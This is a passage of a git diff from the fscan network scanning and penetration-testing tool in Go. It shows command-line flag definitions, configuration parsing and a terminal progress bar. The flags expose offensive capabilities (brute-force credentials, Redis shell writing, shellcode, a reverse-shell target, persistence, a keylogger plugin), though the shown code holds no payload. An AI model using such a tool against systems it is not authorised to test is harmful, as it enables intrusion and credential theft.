flag.BoolVar(&EnableFingerprint, "fp", false, i18n.GetText("flag_enable_fingerprint")) + flag.StringVar(&LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)") + flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only")) + + // ═════════════════════════════════════════════════ + // 认证与凭据参数 + // ═════════════════════════════════════════════════ + flag.StringVar(&Username, "user", "", i18n.GetText("flag_username")) + flag.StringVar(&Password, "pwd", "", i18n.GetText("flag_password")) + flag.StringVar(&AddUsers, "usera", "", i18n.GetText("flag_add_users")) + flag.StringVar(&AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords")) + flag.StringVar(&UsersFile, "userf", "", i18n.GetText("flag_users_file")) + flag.StringVar(&PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file")) + flag.StringVar(&HashFile, "hashf", "", i18n.GetText("flag_hash_file")) + flag.StringVar(&HashValue, "hash", "", i18n.GetText("flag_hash_value")) + flag.StringVar(&Domain, "domain", "", i18n.GetText("flag_domain")) // SMB扫描用 + flag.StringVar(&SshKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key")) // SSH扫描用 + + // ═════════════════════════════════════════════════ + // Web扫描参数 + // ═════════════════════════════════════════════════ + flag.StringVar(&TargetURL, "u", "", i18n.GetText("flag_target_url")) + flag.StringVar(&URLsFile, "uf", "", i18n.GetText("flag_urls_file")) + flag.StringVar(&Cookie, "cookie", "", i18n.GetText("flag_cookie")) + flag.Int64Var(&WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout")) + flag.StringVar(&HttpProxy, "proxy", "", i18n.GetText("flag_http_proxy")) + flag.StringVar(&Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy")) + + // ═════════════════════════════════════════════════ + // POC测试参数 + // ═════════════════════════════════════════════════ + flag.StringVar(&PocPath, "pocpath", "", i18n.GetText("flag_poc_path")) + flag.StringVar(&Pocinfo.PocName, "pocname", "", i18n.GetText("flag_poc_name")) + flag.BoolVar(&PocFull, "full", false, i18n.GetText("flag_poc_full")) + flag.BoolVar(&DnsLog, "dns", false, i18n.GetText("flag_dns_log")) + flag.IntVar(&PocNum, "num", 20, i18n.GetText("flag_poc_num")) + flag.BoolVar(&DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc")) + + // ═════════════════════════════════════════════════ + // Redis利用参数 + // ═════════════════════════════════════════════════ + flag.StringVar(&RedisFile, "rf", "", i18n.GetText("flag_redis_file")) + flag.StringVar(&RedisShell, "rs", "", i18n.GetText("flag_redis_shell")) + flag.StringVar(&RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path")) + flag.StringVar(&RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content")) + flag.StringVar(&RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file")) + + // ═════════════════════════════════════════════════ + // 暴力破解控制参数 + // ═════════════════════════════════════════════════ + flag.BoolVar(&DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute")) + flag.IntVar(&MaxRetries, "retry", 3, i18n.GetText("flag_max_retries")) + + // ═════════════════════════════════════════════════ + // 输出与显示控制参数 + // ═════════════════════════════════════════════════ + flag.StringVar(&Outputfile, "o", "result.txt", i18n.GetText("flag_output_file")) + flag.StringVar(&OutputFormat, "f", "txt", i18n.GetText("flag_output_format")) + flag.BoolVar(&DisableSave, "no", false, i18n.GetText("flag_disable_save")) + flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode")) + flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color")) + flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level")) + flag.BoolVar(&DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress")) + + // ═════════════════════════════════════════════════ + // 其他参数 + // ═════════════════════════════════════════════════ + flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode")) + flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target")) + flag.IntVar(&Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server")) + flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port")) + flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file")) + flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file")) + flag.StringVar(&KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output")) + + // 文件下载插件参数 + flag.StringVar(&DownloadURL, "download-url", "", i18n.GetText("flag_download_url")) + flag.StringVar(&DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path")) + flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language")) + + // 帮助参数 + var showHelp bool + flag.BoolVar(&showHelp, "help", false, i18n.GetText("flag_help")) + + // 解析命令行参数 + parseCommandLineArgs() + + // 设置语言 + i18n.SetLanguage(Language) + + + // 更新进度条显示状态 + ShowProgress = !DisableProgress + + // 同步配置到core包 + SyncToCore() + + // 如果显示帮助或者没有提供目标,显示帮助信息并退出 + if showHelp || shouldShowHelp(Info) { + flag.Usage() + os.Exit(0) + } +} + +// parseCommandLineArgs 处理来自环境变量和命令行的参数 +func parseCommandLineArgs() { + // 首先检查环境变量中的参数 + envArgsString := os.Getenv("FS_ARGS") + if envArgsString != "" { + // 解析环境变量参数 (跨平台支持) + envArgs, err := parseEnvironmentArgs(envArgsString) + if err == nil && len(envArgs) > 0 { + flag.CommandLine.Parse(envArgs) + os.Unsetenv("FS_ARGS") // 使用后清除环境变量 + return + } + // 如果环境变量解析失败,继续使用命令行参数 + } + + // 解析命令行参数 + flag.Parse() + + // 检查参数冲突 + checkParameterConflicts() + + // 额外的本地插件互斥检查 + // 需要在解析后检查,因为Host是通过Info.Host设置的 + // 这个检查在app/initializer.go中进行 +} + +// parseEnvironmentArgs 安全地解析环境变量中的参数 +func parseEnvironmentArgs(argsString string) ([]string, error) { + if strings.TrimSpace(argsString) == "" { + return nil, fmt.Errorf("empty arguments string") + } + + // 使用更安全的参数分割方法 + var args []string + var currentArg strings.Builder + inQuote := false + quoteChar := ' ' + + for _, char := range argsString { + switch { + case char == '"' || char == '\'': + if inQuote && char == quoteChar { + inQuote = false + } else if !inQuote { + inQuote = true + quoteChar = char + } else { + currentArg.WriteRune(char) + } + case char == ' ' && !inQuote: + if currentArg.Len() > 0 { + args = append(args, currentArg.String()) + currentArg.Reset() + } + default: + currentArg.WriteRune(char) + } + } + + if currentArg.Len() > 0 { + args = append(args, currentArg.String()) + } + + return args, nil +} + +// preProcessLanguage 预处理语言参数,在定义flag之前设置语言 +func preProcessLanguage() { + // 遍历命令行参数查找-lang参数 + for i, arg := range os.Args { + if arg == "-lang" && i+1 < len(os.Args) { + lang := os.Args[i+1] + if lang == "en" || lang == "zh" { + Language = lang + i18n.SetLanguage(lang) + return + } + } else if strings.HasPrefix(arg, "-lang=") { + lang := strings.TrimPrefix(arg, "-lang=") + if lang == "en" || lang == "zh" { + Language = lang + i18n.SetLanguage(lang) + return + } + } + } + + // 检查环境变量 + envLang := os.Getenv("FS_LANG") + if envLang == "en" || envLang == "zh" { + Language = envLang + i18n.SetLanguage(envLang) + } +} + +// shouldShowHelp 检查是否应该显示帮助信息 +func shouldShowHelp(Info *HostInfo) bool { + // 检查是否提供了扫描目标 + hasTarget := Info.Host != "" || TargetURL != "" + + // 本地模式需要指定插件才算有效目标 + if LocalMode && LocalPlugin != "" { + hasTarget = true + } + + // 如果没有提供任何扫描目标,则显示帮助 + if !hasTarget { + return true + } + + return false +} + +// checkParameterConflicts 检查参数冲突和兼容性 +func checkParameterConflicts() { + // 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示) + if AliveOnly && ScanMode == "icmp" { + LogBase(i18n.GetText("param_conflict_ao_icmp_both")) + } + + // 检查本地插件参数 + if LocalPlugin != "" { + // 检查是否包含分隔符(确保只能指定单个插件) + invalidChars := []string{",", ";", " ", "|", "&"} + for _, char := range invalidChars { + if strings.Contains(LocalPlugin, char) { + fmt.Printf("错误: 本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件\n", char) + LogError(fmt.Sprintf("本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件", char)) + os.Exit(1) + } + } + + + // 自动启用本地模式 + LocalMode = true + + // 验证本地插件名称 - 使用统一插件系统验证 + // 这里不进行验证,让运行时的插件系统来处理不存在的插件 + } +} diff --git a/common/Parse.go b/common/Parse.go new file mode 100644 index 0000000..ad8d2e3 --- /dev/null +++ b/common/Parse.go @@ -0,0 +1,503 @@ +package common + +import ( + "fmt" + "sync" + "time" + + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/common/logging" + "github.com/shadow1ng/fscan/common/parsers" + "github.com/shadow1ng/fscan/common/utils" +) + +// ParsedConfiguration 解析后的完整配置(兼容旧代码) +type ParsedConfiguration struct { + *parsers.ParsedConfig +} + +// Parser 主解析器 +type Parser struct { + mu sync.RWMutex + fileReader *parsers.FileReader + credentialParser *parsers.CredentialParser + targetParser *parsers.TargetParser + networkParser *parsers.NetworkParser + validationParser *parsers.ValidationParser + options *parsers.ParserOptions + initialized bool +} + +// NewParser 创建新的解析器实例 +func NewParser(options *parsers.ParserOptions) *Parser { + if options == nil { + options = parsers.DefaultParserOptions() + } + + // 创建文件读取器 + fileReader := parsers.NewFileReader(nil) + + // 创建各个子解析器 + credentialParser := parsers.NewCredentialParser(fileReader, nil) + targetParser := parsers.NewTargetParser(fileReader, nil) + networkParser := parsers.NewNetworkParser(nil) + validationParser := parsers.NewValidationParser(nil) + + return &Parser{ + fileReader: fileReader, + credentialParser: credentialParser, + targetParser: targetParser, + networkParser: networkParser, + validationParser: validationParser, + options: options, + initialized: true, + } +} + +// 全局解析器实例 +var globalParser *Parser +var initOnce sync.Once + +// getGlobalParser 获取全局解析器实例 +func getGlobalParser() *Parser { + initOnce.Do(func() { + globalParser = NewParser(nil) + }) + return globalParser +} + +// Parse 主解析函数 - 保持与原版本兼容的接口 +func Parse(Info *HostInfo) error { + // 首先应用LogLevel配置到日志系统 + applyLogLevel() + + parser := getGlobalParser() + + // 构建输入参数 + input := &AllInputs{ + Credential: &parsers.CredentialInput{ + Username: Username, + Password: Password, + AddUsers: AddUsers, + AddPasswords: AddPasswords, + HashValue: HashValue, + SshKeyPath: SshKeyPath, + Domain: Domain, + UsersFile: UsersFile, + PasswordsFile: PasswordsFile, + HashFile: HashFile, + }, + Target: &parsers.TargetInput{ + Host: Info.Host, + HostsFile: HostsFile, + ExcludeHosts: ExcludeHosts, + Ports: Ports, + PortsFile: PortsFile, + AddPorts: AddPorts, + ExcludePorts: ExcludePorts, + TargetURL: TargetURL, + URLsFile: URLsFile, + HostPort: HostPort, + LocalMode: LocalMode, + }, + Network: &parsers.NetworkInput{ + HttpProxy: HttpProxy, + Socks5Proxy: Socks5Proxy, + Timeout: Timeout, + WebTimeout: WebTimeout, + DisablePing: DisablePing, + DnsLog: DnsLog, + UserAgent: UserAgent, + Cookie: Cookie, + }, + } + + // 执行解析 + result, err := parser.ParseAll(input) + if err != nil { + return fmt.Errorf(i18n.GetText("parse_error_config_failed", err)) + } + + // 更新全局变量以保持兼容性 + if err := updateGlobalVariables(result.Config, Info); err != nil { + return fmt.Errorf(i18n.GetText("parse_error_update_vars_failed", err)) + } + + // 报告警告 + for _, warning := range result.Warnings { + LogBase(warning) + } + + // 显示解析结果摘要 + showParseSummary(result.Config) + + // 同步配置到core包 + SyncToCore() + + return nil +} + +// AllInputs 所有输入参数的集合 +type AllInputs struct { + Credential *parsers.CredentialInput `json:"credential"` + Target *parsers.TargetInput `json:"target"` + Network *parsers.NetworkInput `json:"network"` +} + +// ParseAll 解析所有配置 +func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) { + if input == nil { + return nil, fmt.Errorf(i18n.GetText("parse_error_empty_input")) + } + + p.mu.Lock() + defer p.mu.Unlock() + + if !p.initialized { + return nil, fmt.Errorf(i18n.GetText("parse_error_parser_not_init")) + } + + startTime := time.Now() + result := &parsers.ParseResult{ + Config: &parsers.ParsedConfig{}, + Success: true, + } + + var allErrors []error + var allWarnings []string + + // 解析凭据配置 + if input.Credential != nil { + credResult, err := p.credentialParser.Parse(input.Credential, p.options) + if err != nil { + allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_credential_failed", err))) + } else { + result.Config.Credentials = credResult.Config.Credentials + allErrors = append(allErrors, credResult.Errors...) + allWarnings = append(allWarnings, credResult.Warnings...) + } + } + + // 解析目标配置 + if input.Target != nil { + targetResult, err := p.targetParser.Parse(input.Target, p.options) + if err != nil { + allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_target_failed", err))) + } else { + result.Config.Targets = targetResult.Config.Targets + allErrors = append(allErrors, targetResult.Errors...) + allWarnings = append(allWarnings, targetResult.Warnings...) + } + } + + // 解析网络配置 + if input.Network != nil { + networkResult, err := p.networkParser.Parse(input.Network, p.options) + if err != nil { + allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_network_failed", err))) + } else { + result.Config.Network = networkResult.Config.Network + allErrors = append(allErrors, networkResult.Errors...) + allWarnings = append(allWarnings, networkResult.Warnings...) + } + } + + // 执行验证 + validationInput := &parsers.ValidationInput{ + ScanMode: ScanMode, + LocalMode: LocalMode, + HasHosts: input.Target != nil && (input.Target.Host != "" || input.Target.HostsFile != ""), + HasURLs: input.Target != nil && (input.Target.TargetURL != "" || input.Target.URLsFile != ""), + HasPorts: input.Target != nil && (input.Target.Ports != "" || input.Target.PortsFile != ""), + HasProxy: input.Network != nil && (input.Network.HttpProxy != "" || input.Network.Socks5Proxy != ""), + DisablePing: input.Network != nil && input.Network.DisablePing, + HasCredentials: input.Credential != nil && (input.Credential.Username != "" || input.Credential.UsersFile != ""), + } + + validationResult, err := p.validationParser.Parse(validationInput, result.Config, p.options) + if err != nil { + allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_validation_failed", err))) + } else { + result.Config.Validation = validationResult.Config.Validation + allErrors = append(allErrors, validationResult.Errors...) + allWarnings = append(allWarnings, validationResult.Warnings...) + } + + // 汇总结果 + result.Errors = allErrors + result.Warnings = allWarnings + result.ParseTime = time.Since(startTime) + result.Success = len(allErrors) == 0 + + return result, nil +} + +// updateGlobalVariables 更新全局变量以保持向后兼容性 +func updateGlobalVariables(config *parsers.ParsedConfig, info *HostInfo) error { + if config == nil { + return nil + } + + // 更新凭据相关全局变量 + if config.Credentials != nil { + if len(config.Credentials.Usernames) > 0 { + // 更新全局用户字典 + for serviceName := range Userdict { + Userdict[serviceName] = config.Credentials.Usernames + } + } + + if len(config.Credentials.Passwords) > 0 { + Passwords = config.Credentials.Passwords + } + + if len(config.Credentials.HashValues) > 0 { + HashValues = config.Credentials.HashValues + } + + if len(config.Credentials.HashBytes) > 0 { + HashBytes = config.Credentials.HashBytes + } + } + + // 更新目标相关全局变量 + if config.Targets != nil { + if len(config.Targets.Hosts) > 0 { + // 如果info.Host已经有值,说明解析结果来自info.Host,不需要重复设置 + // 只有当info.Host为空时才设置(如从文件读取的情况) + if info.Host == "" { + info.Host = joinStrings(config.Targets.Hosts, ",") + } + } + + if len(config.Targets.URLs) > 0 { + URLs = config.Targets.URLs + // 如果info.Url为空且只有一个URL,将其设置到info.Url + if info.Url == "" && len(config.Targets.URLs) == 1 { + info.Url = config.Targets.URLs[0] + } + } + + if len(config.Targets.Ports) > 0 { + Ports = joinInts(config.Targets.Ports, ",") + } + + if len(config.Targets.ExcludePorts) > 0 { + ExcludePorts = joinInts(config.Targets.ExcludePorts, ",") + } + + if len(config.Targets.HostPorts) > 0 { + HostPort = config.Targets.HostPorts + } + } + + // 更新网络相关全局变量 + if config.Network != nil { + if config.Network.HttpProxy != "" { + HttpProxy = config.Network.HttpProxy + } + + if config.Network.Socks5Proxy != "" { + Socks5Proxy = config.Network.Socks5Proxy + } + + if config.Network.Timeout > 0 { + Timeout = int64(config.Network.Timeout.Seconds()) + } + + if config.Network.WebTimeout > 0 { + WebTimeout = int64(config.Network.WebTimeout.Seconds()) + } + + if config.Network.UserAgent != "" { + UserAgent = config.Network.UserAgent + } + + if config.Network.Cookie != "" { + Cookie = config.Network.Cookie + } + + DisablePing = config.Network.DisablePing + DnsLog = config.Network.EnableDNSLog + } + + return nil +} + +// RemoveDuplicate 去重函数 - 恢复原始高效实现 +func RemoveDuplicate(old []string) []string { + if len(old) <= 1 { + return old + } + + temp := make(map[string]struct{}, len(old)) + result := make([]string, 0, len(old)) + + for _, item := range old { + if _, exists := temp[item]; !exists { + temp[item] = struct{}{} + result = append(result, item) + } + } + + return result +} + +// 辅助函数 + +// joinStrings 连接字符串切片 - 优化版本使用字符串构建器池 +func joinStrings(slice []string, sep string) string { + return utils.JoinStrings(slice, sep) +} + +// joinInts 连接整数切片 - 优化版本使用字符串构建器池 +func joinInts(slice []int, sep string) string { + return utils.JoinInts(slice, sep) +} + +// showParseSummary 显示解析结果摘要 +func showParseSummary(config *parsers.ParsedConfig) { + if config == nil { + return + } + + // 显示目标信息 + if config.Targets != nil { + if len(config.Targets.Hosts) > 0 { + if len(config.Targets.Hosts) <= 5 { + LogBase(i18n.GetText("target_hosts_found", joinStrings(config.Targets.Hosts, ", "))) + } else { + LogBase(i18n.GetText("target_hosts_count", joinStrings(config.Targets.Hosts[:5], ", "), len(config.Targets.Hosts))) + } + } + + if len(config.Targets.URLs) > 0 { + if len(config.Targets.URLs) <= 3 { + LogBase(i18n.GetText("target_urls_found", joinStrings(config.Targets.URLs, ", "))) + } else { + LogBase(i18n.GetText("target_urls_count", joinStrings(config.Targets.URLs[:3], ", "), len(config.Targets.URLs))) + } + } + + if len(config.Targets.Ports) > 0 { + if len(config.Targets.Ports) <= 20 { + LogBase(i18n.GetText("target_ports_found", joinInts(config.Targets.Ports, ", "))) + } else { + LogBase(i18n.GetText("target_ports_count", joinInts(config.Targets.Ports[:20], ", "), len(config.Targets.Ports))) + } + } + + if len(config.Targets.ExcludePorts) > 0 { + LogBase(i18n.GetText("target_exclude_ports", joinInts(config.Targets.ExcludePorts, ", "))) + } + + if config.Targets.LocalMode { + LogBase(i18n.GetText("target_local_mode")) + } + } + + // 显示扫描配置 + LogBase(i18n.GetText("scan_config_thread_num", ThreadNum)) + LogBase(i18n.GetText("scan_config_timeout", Timeout)) + LogBase(i18n.GetText("scan_config_module_thread_num", ModuleThreadNum)) + LogBase(i18n.GetText("scan_config_global_timeout", GlobalTimeout)) + + // 显示网络配置 + if config.Network != nil { + if config.Network.HttpProxy != "" { + LogBase(i18n.GetText("network_http_proxy", config.Network.HttpProxy)) + } + if config.Network.Socks5Proxy != "" { + LogBase(i18n.GetText("network_socks5_proxy", config.Network.Socks5Proxy)) + } + if config.Network.WebTimeout > 0 { + LogBase(i18n.GetText("network_web_timeout", config.Network.WebTimeout)) + } + } + + // 显示凭据信息 + if config.Credentials != nil { + if len(config.Credentials.Usernames) > 0 { + LogBase(i18n.GetText("credential_username_count", len(config.Credentials.Usernames))) + } + if len(config.Credentials.Passwords) > 0 { + LogBase(i18n.GetText("credential_password_count", len(config.Credentials.Passwords))) + } + if len(config.Credentials.HashValues) > 0 { + LogBase(i18n.GetText("credential_hash_count", len(config.Credentials.HashValues))) + } + } +} + +// applyLogLevel 应用LogLevel配置到日志系统 +func applyLogLevel() { + if LogLevel == "" { + return // 使用默认级别 + } + + // 根据LogLevel字符串获取对应的日志级别 + var level logging.LogLevel + switch LogLevel { + case LogLevelAll: + level = logging.LevelAll + case LogLevelError: + level = logging.LevelError + case LogLevelBase: + level = logging.LevelBase + case LogLevelInfo: + level = logging.LevelInfo + case LogLevelSuccess: + level = logging.LevelSuccess + case LogLevelDebug: + level = logging.LevelDebug + case LogLevelInfoSuccess: + level = logging.LevelInfoSuccess + case LogLevelBaseInfoSuccess: + level = logging.LevelBaseInfoSuccess + default: + // 向后兼容:如果是老的字符串格式 + switch LogLevel { + case "ALL": + level = logging.LevelAll + case "ERROR": + level = logging.LevelError + case "BASE": + level = logging.LevelBase + case "INFO": + level = logging.LevelInfo + case "SUCCESS": + level = logging.LevelSuccess + case "DEBUG": + level = logging.LevelDebug + case "debug": + level = logging.LevelAll // 兼容旧的debug行为 + default: + return // 无效的级别,保持默认 + } + } + + // 更新全局日志管理器的级别 + if globalLogger != nil { + config := &logging.LoggerConfig{ + Level: level, + EnableColor: !NoColor, + SlowOutput: false, + ShowProgress: ShowProgress, + StartTime: StartTime, + LevelColors: logging.GetDefaultLevelColors(), + } + + newLogger := logging.NewLogger(config) + if ProgressBar != nil { + newLogger.SetProgressBar(ProgressBar) + } + newLogger.SetOutputMutex(&OutputMutex) + + // 设置协调输出函数,使用LogWithProgress + newLogger.SetCoordinatedOutput(LogWithProgress) + + // 更新全局日志管理器 + globalLogger = newLogger + // status变量已移除,如需获取状态请直接调用newLogger.GetScanStatus() + } +} diff --git a/common/Ports.go b/common/Ports.go new file mode 100644 index 0000000..b1b98c6 --- /dev/null +++ b/common/Ports.go @@ -0,0 +1,19 @@ +package common + +import "github.com/shadow1ng/fscan/common/base" + +/* +Ports.go - 端口常量(向后兼容层) + +此文件保持向后兼容,实际常量定义已迁移到Core/Constants.go +*/ + +// 向后兼容的端口常量 - 引用base包中的定义 +var ( + WebPorts = base.WebPorts // Web服务端口组 + MainPorts = base.MainPorts // 主要服务端口组 + DbPorts = base.DbPorts // 数据库端口组 + ServicePorts = base.ServicePorts // 服务端口组 + CommonPorts = base.CommonPorts // 常用端口组 + AllPorts = base.AllPorts // 全部端口 +) diff --git a/common/ProgressManager.go b/common/ProgressManager.go new file mode 100644 index 0000000..77d2df9 --- /dev/null +++ b/common/ProgressManager.go @@ -0,0 +1,457 @@ +package common + +import ( + "fmt" + "os" + "runtime" + "sync" + "time" + + "github.com/shadow1ng/fscan/common/i18n" +) + +/* +ProgressManager.go - 固定底部进度条管理器 + +提供固定在终端底部的进度条显示,与正常输出内容分离。 +使用终端控制码实现位置固定和内容保护。 +*/ + +// ProgressManager 进度条管理器 +type ProgressManager struct { + mu sync.RWMutex + enabled bool + total int64 + current int64 + description string + startTime time.Time + isActive bool + terminalHeight int + reservedLines int // 为进度条保留的行数 + lastContentLine int // 最后一行内容的位置 + + // 输出缓冲相关 + outputMutex sync.Mutex + + // 活跃指示器相关 + spinnerIndex int + lastActivity time.Time + activityTicker *time.Ticker + stopActivityChan chan struct{} + + // 内存监控相关 + lastMemUpdate time.Time + memStats runtime.MemStats +} + +var ( + globalProgressManager *ProgressManager + progressMutex sync.Mutex + + // 活跃指示器字符序列(旋转动画) + spinnerChars = []string{"|", "/", "-", "\\"} + + // 活跃指示器更新间隔 + activityUpdateInterval = 500 * time.Millisecond +) + +// GetProgressManager 获取全局进度条管理器 +func GetProgressManager() *ProgressManager { + progressMutex.Lock() + defer progressMutex.Unlock() + + if globalProgressManager == nil { + globalProgressManager = &ProgressManager{ + enabled: true, + reservedLines: 2, // 保留2行:进度条 + 空行 + terminalHeight: getTerminalHeight(), + } + } + return globalProgressManager +} + +// InitProgress 初始化进度条 +func (pm *ProgressManager) InitProgress(total int64, description string) { + if !ShowProgress || Silent { + pm.enabled = false + return + } + + pm.mu.Lock() + defer pm.mu.Unlock() + + pm.total = total + pm.current = 0 + pm.description = description + pm.startTime = time.Now() + pm.isActive = true + pm.enabled = true + pm.lastActivity = time.Now() + pm.spinnerIndex = 0 + pm.lastMemUpdate = time.Now().Add(-2 * time.Second) // 强制首次更新内存 + + // 为进度条保留空间 + pm.setupProgressSpace() + + // 启动活跃指示器 + pm.startActivityIndicator() + + // 初始显示进度条 + pm.renderProgress() +} + +// UpdateProgress 更新进度 +func (pm *ProgressManager) UpdateProgress(increment int64) { + if !pm.enabled || !pm.isActive { + return + } + + pm.mu.Lock() + defer pm.mu.Unlock() + + pm.current += increment + if pm.current > pm.total { + pm.current = pm.total + } + + // 更新活跃时间 + pm.lastActivity = time.Now() + + pm.renderProgress() +} + +// ============================================================================================= +// 已删除的死代码(未使用):SetProgress 设置当前进度 +// ============================================================================================= + +// FinishProgress 完成进度条 +func (pm *ProgressManager) FinishProgress() { + if !pm.enabled || !pm.isActive { + return + } + + pm.mu.Lock() + defer pm.mu.Unlock() + + pm.current = pm.total + pm.renderProgress() + + // 停止活跃指示器 + pm.stopActivityIndicator() + + // 显示完成信息 + pm.showCompletionInfo() + + // 清理进度条区域,恢复正常输出 + pm.clearProgressArea() + pm.isActive = false +} + +// setupProgressSpace 设置进度条空间 +func (pm *ProgressManager) setupProgressSpace() { + // 简化设计:进度条在原地更新,不需要预留额外空间 + // 只是标记进度条开始的位置 + pm.lastContentLine = 0 +} + +// ============================================================================================= +// 已删除的死代码(未使用):moveToContentArea 和 moveToProgressLine 方法 +// ============================================================================================= + +// renderProgress 渲染进度条(使用锁避免输出冲突) +func (pm *ProgressManager) renderProgress() { + pm.outputMutex.Lock() + defer pm.outputMutex.Unlock() + + pm.renderProgressUnsafe() +} + +// generateProgressBar 生成进度条字符串 +func (pm *ProgressManager) generateProgressBar() string { + if pm.total == 0 { + spinner := pm.getActivityIndicator() + memInfo := pm.getMemoryInfo() + return fmt.Sprintf("%s %s 等待中... %s", pm.description, spinner, memInfo) + } + + percentage := float64(pm.current) / float64(pm.total) * 100 + elapsed := time.Since(pm.startTime) + + // 获取并发状态 + concurrencyStatus := GetConcurrencyMonitor().GetConcurrencyStatus() + + // 计算预估剩余时间 + var eta string + if pm.current > 0 { + totalTime := elapsed * time.Duration(pm.total) / time.Duration(pm.current) + remaining := totalTime - elapsed + if remaining > 0 { + eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining)) + } + } + + // 计算速度 + speed := float64(pm.current) / elapsed.Seconds() + speedStr := "" + if speed > 0 { + speedStr = fmt.Sprintf(" (%.1f/s)", speed) + } + + // 生成进度条 + barWidth := 30 + filled := int(percentage * float64(barWidth) / 100) + bar := "" + + if NoColor { + // 无颜色版本 + bar = "[" + + fmt.Sprintf("%s%s", + string(make([]rune, filled)), + string(make([]rune, barWidth-filled))) + + "]" + for i := 0; i < filled; i++ { + bar = bar[:i+1] + "=" + bar[i+2:] + } + for i := filled; i < barWidth; i++ { + bar = bar[:i+1] + "-" + bar[i+2:] + } + } else { + // 彩色版本 + bar = "|" + for i := 0; i < barWidth; i++ { + if i < filled { + bar += "#" + } else { + bar += "." + } + } + bar += "|" + } + + // 生成活跃指示器 + spinner := pm.getActivityIndicator() + + // 构建基础进度条 + baseProgress := fmt.Sprintf("%s %s %6.1f%% %s (%d/%d)%s%s", + pm.description, spinner, percentage, bar, pm.current, pm.total, speedStr, eta) + + // 添加内存信息 + memInfo := pm.getMemoryInfo() + + // 添加并发状态 + if concurrencyStatus != "" { + return fmt.Sprintf("%s [%s] %s", baseProgress, concurrencyStatus, memInfo) + } + + return fmt.Sprintf("%s %s", baseProgress, memInfo) +} + +// showCompletionInfo 显示完成信息 +func (pm *ProgressManager) showCompletionInfo() { + elapsed := time.Since(pm.startTime) + + // 换行并显示完成信息 + fmt.Print("\n") + + completionMsg := i18n.GetText("progress_scan_completed") + if NoColor { + fmt.Printf("[完成] %s %d/%d (耗时: %s)\n", + completionMsg, pm.total, pm.total, formatDuration(elapsed)) + } else { + fmt.Printf("\033[32m[完成] %s %d/%d\033[0m \033[90m(耗时: %s)\033[0m\n", + completionMsg, pm.total, pm.total, formatDuration(elapsed)) + } +} + +// clearProgressArea 清理进度条区域 +func (pm *ProgressManager) clearProgressArea() { + // 简单清除当前行 + fmt.Print("\033[2K\r") +} + +// IsActive 检查进度条是否活跃 +func (pm *ProgressManager) IsActive() bool { + pm.mu.RLock() + defer pm.mu.RUnlock() + return pm.isActive && pm.enabled +} + +// getTerminalHeight 获取终端高度 +func getTerminalHeight() int { + // 对于固定底部进度条,我们暂时禁用终端高度检测 + // 因为在不同终端环境中可能会有问题 + // 改为使用相对定位方式 + return 0 // 返回0表示使用简化模式 +} + +// formatDuration 格式化时间间隔 +func formatDuration(d time.Duration) string { + if d < time.Minute { + return fmt.Sprintf("%.1fs", d.Seconds()) + } else if d < time.Hour { + return fmt.Sprintf("%.1fm", d.Minutes()) + } else { + return fmt.Sprintf("%.1fh", d.Hours()) + } +} + +// 全局函数,方便其他模块调用 +func InitProgressBar(total int64, description string) { + GetProgressManager().InitProgress(total, description) +} + +func UpdateProgressBar(increment int64) { + GetProgressManager().UpdateProgress(increment) +} + +// ============================================================================================= +// 已删除的死代码(未使用):SetProgressBar 全局函数 +// ============================================================================================= + +func FinishProgressBar() { + GetProgressManager().FinishProgress() +} + +func IsProgressActive() bool { + return GetProgressManager().IsActive() +} + +// ============================================================================= +// 日志输出协调功能 +// ============================================================================= + +// LogWithProgress 在进度条活跃时协调日志输出 +func LogWithProgress(message string) { + pm := GetProgressManager() + if !pm.IsActive() { + // 如果进度条不活跃,直接输出 + fmt.Println(message) + return + } + + pm.outputMutex.Lock() + defer pm.outputMutex.Unlock() + + // 清除当前行(清除进度条) + fmt.Print("\033[2K\r") + + // 输出日志消息 + fmt.Println(message) + + // 重绘进度条 + pm.renderProgressUnsafe() +} + +// renderProgressUnsafe 不加锁的进度条渲染(内部使用) +func (pm *ProgressManager) renderProgressUnsafe() { + if !pm.enabled || !pm.isActive { + return + } + + // 移动到行首并清除当前行 + fmt.Print("\033[2K\r") + + // 生成进度条内容 + progressBar := pm.generateProgressBar() + + // 输出进度条(带颜色,如果启用) + if NoColor { + fmt.Print(progressBar) + } else { + fmt.Printf("\033[36m%s\033[0m", progressBar) // 青色 + } + + // 刷新输出 + os.Stdout.Sync() +} + +// ============================================================================= +// 活跃指示器相关方法 +// 